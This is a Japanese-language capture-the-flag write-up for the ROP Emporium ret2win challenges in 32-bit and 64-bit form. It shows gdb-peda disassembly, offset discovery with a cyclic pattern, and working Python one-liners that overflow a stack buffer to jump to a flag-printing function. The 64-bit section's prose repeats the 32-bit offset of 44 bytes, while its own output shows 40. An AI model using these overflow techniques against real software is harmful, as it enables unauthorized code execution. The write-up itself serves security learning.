ROP Emporium
ROPの練習問題集
解法時のメモをまとめておきます。
誤りや指摘事項があれば、コメントお願いします。
writeup link
ret2win32 writeup
32bitのELF実行ファイル。
とりあえず、実行してみる。
32byteのバッファサイズに50byteの入力しようとしているが、おかしいところはあるか?というメッセージが出力される。
# file ./ret2win32
./ret2win32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=70a25eb0b818fdc0bafabe17e07bccacb8513a53, not stripped
#
#
#
# ./ret2win32
ret2win by ROP Emporium
32bits
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
> test
Exiting
#
gdbで解析する。
# gdb ./ret2win32
実行ファイルのセキュリティ機構を確認する。
canaryが無効になっているので、Buffer Overflowの脆弱性が使えそう。
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$
ユーザ定義の関数は以下の三つ。
- main
- pwnme
- ret2win
gdb-peda$ info func
All defined functions:
Non-debugging symbols:
0x080483c0 _init
0x08048400 printf@plt
0x08048410 fgets@plt
0x08048420 puts@plt
0x08048430 system@plt
0x08048440 __libc_start_main@plt
0x08048450 setvbuf@plt
0x08048460 memset@plt
0x08048470 __gmon_start__@plt
0x08048480 _start
0x080484b0 __x86.get_pc_thunk.bx
0x080484c0 deregister_tm_clones
0x080484f0 register_tm_clones
0x08048530 __do_global_dtors_aux
0x08048550 frame_dummy
0x0804857b main
0x080485f6 pwnme
0x08048659 ret2win
0x08048690 __libc_csu_init
0x080486f0 __libc_csu_fini
0x080486f4 _fini
gdb-peda$
main関数の内容を確認してみる。
<main+89>でpwnme関数を呼び出していることがわかる。
gdb-peda$ pdis main
Dump of assembler code for function main:
0x0804857b <+0>: lea ecx,[esp+0x4]
0x0804857f <+4>: and esp,0xfffffff0
0x08048582 <+7>: push DWORD PTR [ecx-0x4]
0x08048585 <+10>: push ebp
0x08048586 <+11>: mov ebp,esp
0x08048588 <+13>: push ecx
=> 0x08048589 <+14>: sub esp,0x4
0x0804858c <+17>: mov eax,ds:0x804a064
0x08048591 <+22>: push 0x0
0x08048593 <+24>: push 0x2
0x08048595 <+26>: push 0x0
0x08048597 <+28>: push eax
0x08048598 <+29>: call 0x8048450 <setvbuf@plt>
0x0804859d <+34>: add esp,0x10
0x080485a0 <+37>: mov eax,ds:0x804a040
0x080485a5 <+42>: push 0x0
0x080485a7 <+44>: push 0x2
0x080485a9 <+46>: push 0x0
0x080485ab <+48>: push eax
0x080485ac <+49>: call 0x8048450 <setvbuf@plt>
0x080485b1 <+54>: add esp,0x10
0x080485b4 <+57>: sub esp,0xc
0x080485b7 <+60>: push 0x8048710
0x080485bc <+65>: call 0x8048420 <puts@plt>
0x080485c1 <+70>: add esp,0x10
0x080485c4 <+73>: sub esp,0xc
0x080485c7 <+76>: push 0x8048728
0x080485cc <+81>: call 0x8048420 <puts@plt>
0x080485d1 <+86>: add esp,0x10
0x080485d4 <+89>: call 0x80485f6 <pwnme>
0x080485d9 <+94>: sub esp,0xc
0x080485dc <+97>: push 0x8048730
0x080485e1 <+102>: call 0x8048420 <puts@plt>
0x080485e6 <+107>: add esp,0x10
0x080485e9 <+110>: mov eax,0x0
0x080485ee <+115>: mov ecx,DWORD PTR [ebp-0x4]
0x080485f1 <+118>: leave
0x080485f2 <+119>: lea esp,[ecx-0x4]
0x080485f5 <+122>: ret
End of assembler dump.
gdb-peda$
pwnme関数の内容を確認してみる。
gdb-peda$ pdis pwnme
Dump of assembler code for function pwnme:
0x080485f6 <+0>: push ebp
0x080485f7 <+1>: mov ebp,esp
0x080485f9 <+3>: sub esp,0x28
0x080485fc <+6>: sub esp,0x4
0x080485ff <+9>: push 0x20
0x08048601 <+11>: push 0x0
0x08048603 <+13>: lea eax,[ebp-0x28]
0x08048606 <+16>: push eax
0x08048607 <+17>: call 0x8048460 <memset@plt>
0x0804860c <+22>: add esp,0x10
0x0804860f <+25>: sub esp,0xc
0x08048612 <+28>: push 0x804873c
0x08048617 <+33>: call 0x8048420 <puts@plt>
0x0804861c <+38>: add esp,0x10
0x0804861f <+41>: sub esp,0xc
0x08048622 <+44>: push 0x80487bc
0x08048627 <+49>: call 0x8048420 <puts@plt>
0x0804862c <+54>: add esp,0x10
0x0804862f <+57>: sub esp,0xc
0x08048632 <+60>: push 0x8048821
0x08048637 <+65>: call 0x8048400 <printf@plt>
0x0804863c <+70>: add esp,0x10
0x0804863f <+73>: mov eax,ds:0x804a060
0x08048644 <+78>: sub esp,0x4
0x08048647 <+81>: push eax
0x08048648 <+82>: push 0x32
0x0804864a <+84>: lea eax,[ebp-0x28]
0x0804864d <+87>: push eax
0x0804864e <+88>: call 0x8048410 <fgets@plt>
0x08048653 <+93>: add esp,0x10
0x08048656 <+96>: nop
0x08048657 <+97>: leave
0x08048658 <+98>: ret
End of assembler dump.
gdb-peda$
memsetで確保しているサイズは0x20(32byte)。
memset
[-------------------------------------code-------------------------------------]
0x8048601 <pwnme+11>: push 0x0
0x8048603 <pwnme+13>: lea eax,[ebp-0x28]
0x8048606 <pwnme+16>: push eax
=> 0x8048607 <pwnme+17>: call 0x8048460 <memset@plt>
0x804860c <pwnme+22>: add esp,0x10
0x804860f <pwnme+25>: sub esp,0xc
0x8048612 <pwnme+28>: push 0x804873c
0x8048617 <pwnme+33>: call 0x8048420 <puts@plt>
Guessed arguments:
arg[0]: 0xffffd2a0 --> 0xffffd2d8 --> 0x0
arg[1]: 0x0
arg[2]: 0x20 (' ')
arg[3]: 0x7
fgetsでの入力サイズは0x32(50byte)。
ファイル実行時のメッセージにある通り、32byteのサイズが確保されているが、50byteの書き込みが可能であることが確認できた。
ただ、main関数/pwnme関数の両方からret2win関数は実行されていなかった。
[-------------------------------------code-------------------------------------]
0x8048648 <pwnme+82>: push 0x32
0x804864a <pwnme+84>: lea eax,[ebp-0x28]
0x804864d <pwnme+87>: push eax
=> 0x804864e <pwnme+88>: call 0x8048410 <fgets@plt>
0x8048653 <pwnme+93>: add esp,0x10
0x8048656 <pwnme+96>: nop
0x8048657 <pwnme+97>: leave
0x8048658 <pwnme+98>: ret
Guessed arguments:
arg[0]: 0xffffd2a0 --> 0x0
arg[1]: 0x32 ('2')
arg[2]: 0xf7fb15c0 --> 0xfbad2088
ret2win関数を確認してみる。
gdb-peda$ pdis ret2win
Dump of assembler code for function ret2win:
0x08048659 <+0>: push ebp
0x0804865a <+1>: mov ebp,esp
0x0804865c <+3>: sub esp,0x8
0x0804865f <+6>: sub esp,0xc
0x08048662 <+9>: push 0x8048824
0x08048667 <+14>: call 0x8048400 <printf@plt>
0x0804866c <+19>: add esp,0x10
0x0804866f <+22>: sub esp,0xc
0x08048672 <+25>: push 0x8048841
0x08048677 <+30>: call 0x8048430 <system@plt>
0x0804867c <+35>: add esp,0x10
0x0804867f <+38>: nop
0x08048680 <+39>: leave
0x08048681 <+40>: ret
End of assembler dump.
gdb-peda$
printfの引数を確認してみると、flagを出力する前のメッセージのようなものが見える。
gdb-peda$ x/s 0x8048824
0x8048824: "Thank you! Here's your flag:"
gdb-peda$
systemの引数を確認すると、"/bin/cat flag.txt"が実行されることがわかる。
したがって、ret2win関数を実行できればフラグが出力される。
gdb-peda$ x/s 0x8048841
0x8048841: "/bin/cat flag.txt"
gdb-peda$
pattc / pattoコマンドを使用してリターンアドレスまでの入力サイズを確認する。
リターンアドレスまでのサイズは44byteであることがわかる。
gdb-peda$ pattc 60
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA'
gdb-peda$
[-------------------------------------code-------------------------------------]
0x8048653 <pwnme+93>: add esp,0x10
0x8048656 <pwnme+96>: nop
0x8048657 <pwnme+97>: leave
=> 0x8048658 <pwnme+98>: ret
0x8048659 <ret2win>: push ebp
0x804865a <ret2win+1>: mov ebp,esp
0x804865c <ret2win+3>: sub esp,0x8
0x804865f <ret2win+6>: sub esp,0xc
[------------------------------------stack-------------------------------------]
0000| 0xffffd2cc ("AFAAb")
0004| 0xffffd2d0 --> 0xf7fe0062 (adc al,0x83)
0008| 0xffffd2d4 --> 0xffffd2f0 --> 0x1
0012| 0xffffd2d8 --> 0x0
0016| 0xffffd2dc --> 0xf7df87e1 (<__libc_start_main+241>: add esp,0x10)
0020| 0xffffd2e0 --> 0xf7fb1000 --> 0x1d6d6c
0024| 0xffffd2e4 --> 0xf7fb1000 --> 0x1d6d6c
0028| 0xffffd2e8 --> 0x0
[------------------------------------------------------------------------------]
gdb-peda$ patto AFAA
AFAA found at offset: 44
gdb-peda$
44byteのダミー文字とret2win関数のアドレスを入力値とする。
ret2winのアドレスはリトルエンディアンに注意。
# python -c "print 'A'*44 + '\x59\x86\x04\x08'" | ./ret2win32
ret2win by ROP Emporium
32bits
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
Illegal instruction
#
ret2win writeup
ret2win32の64bit版。
64bitの実行ファイルになっているが、実行時の出力メッセージは特に変化なし。
# file ./ret2win
./ret2win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a871295b6234edb261710bcc73a8c03e3c0f601d, not stripped
#
#
#
# ./ret2win
ret2win by ROP Emporium
64bits
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
> test
Exiting
#
実行ファイルのセキュリティ機構を確認する。
ret2win32と同様でcanaryが無効になっているので、Buffer Overflowの脆弱性が使えそう。
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$
ユーザ定義の関数は以下の三つ。
- main
- pwnme
- ret2win
gdb-peda$ info func
All defined functions:
Non-debugging symbols:
0x00000000004005a0 _init
0x00000000004005d0 puts@plt
0x00000000004005e0 system@plt
0x00000000004005f0 printf@plt
0x0000000000400600 memset@plt
0x0000000000400610 __libc_start_main@plt
0x0000000000400620 fgets@plt
0x0000000000400630 setvbuf@plt
0x0000000000400640 __gmon_start__@plt
0x0000000000400650 _start
0x0000000000400680 deregister_tm_clones
0x00000000004006c0 register_tm_clones
0x0000000000400700 __do_global_dtors_aux
0x0000000000400720 frame_dummy
0x0000000000400746 main
0x00000000004007b5 pwnme
0x0000000000400811 ret2win
0x0000000000400840 __libc_csu_init
0x00000000004008b0 __libc_csu_fini
0x00000000004008b4 _fini
gdb-peda$
main関数の内容を確認してみる。
<main+89>でpwnme関数を呼び出していることがわかる。
gdb-peda$ pdis main
Dump of assembler code for function main:
0x0000000000400746 <+0>: push rbp
0x0000000000400747 <+1>: mov rbp,rsp
0x000000000040074a <+4>: mov rax,QWORD PTR [rip+0x20090f] # 0x601060 <stdout@@GLIBC_2.2.5>
0x0000000000400751 <+11>: mov ecx,0x0
0x0000000000400756 <+16>: mov edx,0x2
0x000000000040075b <+21>: mov esi,0x0
0x0000000000400760 <+26>: mov rdi,rax
0x0000000000400763 <+29>: call 0x400630 <setvbuf@plt>
0x0000000000400768 <+34>: mov rax,QWORD PTR [rip+0x200911] # 0x601080 <stderr@@GLIBC_2.2.5>
0x000000000040076f <+41>: mov ecx,0x0
0x0000000000400774 <+46>: mov edx,0x2
0x0000000000400779 <+51>: mov esi,0x0
0x000000000040077e <+56>: mov rdi,rax
0x0000000000400781 <+59>: call 0x400630 <setvbuf@plt>
0x0000000000400786 <+64>: mov edi,0x4008c8
0x000000000040078b <+69>: call 0x4005d0 <puts@plt>
0x0000000000400790 <+74>: mov edi,0x4008e0
0x0000000000400795 <+79>: call 0x4005d0 <puts@plt>
0x000000000040079a <+84>: mov eax,0x0
0x000000000040079f <+89>: call 0x4007b5 <pwnme>
0x00000000004007a4 <+94>: mov edi,0x4008e8
0x00000000004007a9 <+99>: call 0x4005d0 <puts@plt>
0x00000000004007ae <+104>: mov eax,0x0
0x00000000004007b3 <+109>: pop rbp
0x00000000004007b4 <+110>: ret
End of assembler dump.
gdb-peda$
pwnme関数の内容を確認してみる。
gdb-peda$ pdis pwnme
Dump of assembler code for function pwnme:
0x00000000004007b5 <+0>: push rbp
0x00000000004007b6 <+1>: mov rbp,rsp
0x00000000004007b9 <+4>: sub rsp,0x20
0x00000000004007bd <+8>: lea rax,[rbp-0x20]
0x00000000004007c1 <+12>: mov edx,0x20
0x00000000004007c6 <+17>: mov esi,0x0
0x00000000004007cb <+22>: mov rdi,rax
0x00000000004007ce <+25>: call 0x400600 <memset@plt>
0x00000000004007d3 <+30>: mov edi,0x4008f8
0x00000000004007d8 <+35>: call 0x4005d0 <puts@plt>
0x00000000004007dd <+40>: mov edi,0x400978
0x00000000004007e2 <+45>: call 0x4005d0 <puts@plt>
0x00000000004007e7 <+50>: mov edi,0x4009dd
0x00000000004007ec <+55>: mov eax,0x0
0x00000000004007f1 <+60>: call 0x4005f0 <printf@plt>
0x00000000004007f6 <+65>: mov rdx,QWORD PTR [rip+0x200873] # 0x601070 <stdin@@GLIBC_2.2.5>
0x00000000004007fd <+72>: lea rax,[rbp-0x20]
0x0000000000400801 <+76>: mov esi,0x32
0x0000000000400806 <+81>: mov rdi,rax
0x0000000000400809 <+84>: call 0x400620 <fgets@plt>
0x000000000040080e <+89>: nop
0x000000000040080f <+90>: leave
0x0000000000400810 <+91>: ret
End of assembler dump.
gdb-peda$
memsetで確保しているサイズは0x20(32byte)。
memset
[-------------------------------------code-------------------------------------]
0x4007c1 <pwnme+12>: mov edx,0x20
0x4007c6 <pwnme+17>: mov esi,0x0
0x4007cb <pwnme+22>: mov rdi,rax
=> 0x4007ce <pwnme+25>: call 0x400600 <memset@plt>
0x4007d3 <pwnme+30>: mov edi,0x4008f8
0x4007d8 <pwnme+35>: call 0x4005d0 <puts@plt>
0x4007dd <pwnme+40>: mov edi,0x400978
0x4007e2 <pwnme+45>: call 0x4005d0 <puts@plt>
Guessed arguments:
arg[0]: 0x7fffffffe110 --> 0x0
arg[1]: 0x0
arg[2]: 0x20 (' ')
fgetsでの入力サイズは0x32(50byte)。
ファイル実行時のメッセージにある通り、32byteのサイズが確保されているが、50byteの書き込みが可能であることが確認できた。
ただ、main関数/pwnme関数の両方からret2win関数は実行されていなかった。
[-------------------------------------code-------------------------------------]
0x4007fd <pwnme+72>: lea rax,[rbp-0x20]
0x400801 <pwnme+76>: mov esi,0x32
0x400806 <pwnme+81>: mov rdi,rax
=> 0x400809 <pwnme+84>: call 0x400620 <fgets@plt>
0x40080e <pwnme+89>: nop
0x40080f <pwnme+90>: leave
0x400810 <pwnme+91>: ret
0x400811 <ret2win>: push rbp
Guessed arguments:
arg[0]: 0x7fffffffe110 --> 0x0
arg[1]: 0x32 ('2')
arg[2]: 0x7ffff7fafa00 --> 0xfbad2088
ret2win関数を確認してみる。
gdb-peda$ pdis ret2win
Dump of assembler code for function ret2win:
0x0000000000400811 <+0>: push rbp
0x0000000000400812 <+1>: mov rbp,rsp
0x0000000000400815 <+4>: mov edi,0x4009e0
0x000000000040081a <+9>: mov eax,0x0
0x000000000040081f <+14>: call 0x4005f0 <printf@plt>
0x0000000000400824 <+19>: mov edi,0x4009fd
0x0000000000400829 <+24>: call 0x4005e0 <system@plt>
0x000000000040082e <+29>: nop
0x000000000040082f <+30>: pop rbp
0x0000000000400830 <+31>: ret
End of assembler dump.
gdb-peda$
printfの引数を確認してみると、flagを出力する前のメッセージのようなものが見える。
64bitでの引数はstackではなく、レジスタに格納されるので注意。
gdb-peda$ x/s 0x4009e0
0x4009e0: "Thank you! Here's your flag:"
gdb-peda$
systemの引数を確認すると、"/bin/cat flag.txt"が実行されることがわかる。
したがって、ret2win関数を実行できればフラグが出力される。
gdb-peda$ x/s 0x4009fd
0x4009fd: "/bin/cat flag.txt"
gdb-peda$
pattc / pattoコマンドを使用してリターンアドレスまでの入力サイズを確認する。
リターンアドレスまでのサイズは44byteであることがわかる。
gdb-peda$ pattc 60
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA'
gdb-peda$
[-------------------------------------code-------------------------------------]
0x400809 <pwnme+84>: call 0x400620 <fgets@plt>
0x40080e <pwnme+89>: nop
0x40080f <pwnme+90>: leave
=> 0x400810 <pwnme+91>: ret
0x400811 <ret2win>: push rbp
0x400812 <ret2win+1>: mov rbp,rsp
0x400815 <ret2win+4>: mov edi,0x4009e0
0x40081a <ret2win+9>: mov eax,0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe138 ("AA0AAFAAb")
0008| 0x7fffffffe140 --> 0x400062 --> 0x1f8000000000000
0016| 0x7fffffffe148 --> 0x7ffff7e1cbbb (<__libc_start_main+235>: mov edi,eax)
0024| 0x7fffffffe150 --> 0x0
0032| 0x7fffffffe158 --> 0x7fffffffe228 --> 0x7fffffffe51e ("/root/ROP_Emporium/ret2win/ret2win")
0040| 0x7fffffffe160 --> 0x100040000
0048| 0x7fffffffe168 --> 0x400746 (<main>: push rbp)
0056| 0x7fffffffe170 --> 0x0
gdb-peda$ patto AA0AAFAA
AA0AAFAA found at offset: 40
gdb-peda$
40byteのダミー文字とret2win関数のアドレスを入力値とする。
リターンアドレスは64bit。
ret2winのアドレスはリトルエンディアンに注意。
# python -c "print 'A'*40 +'\x11\x08\x40\x00\x00\x00\x00\x00'" | ./ret2win
ret2win by ROP Emporium
64bits
For my first trick, I will attempt to fit 50 bytes of user input into 32 bytes of stack buffer;
What could possibly go wrong?
You there madam, may I have your input please? And don't worry about null bytes, we're using fgets!
> Thank you! Here's your flag:ROPE{a_placeholder_32byte_flag!}
Segmentation fault
#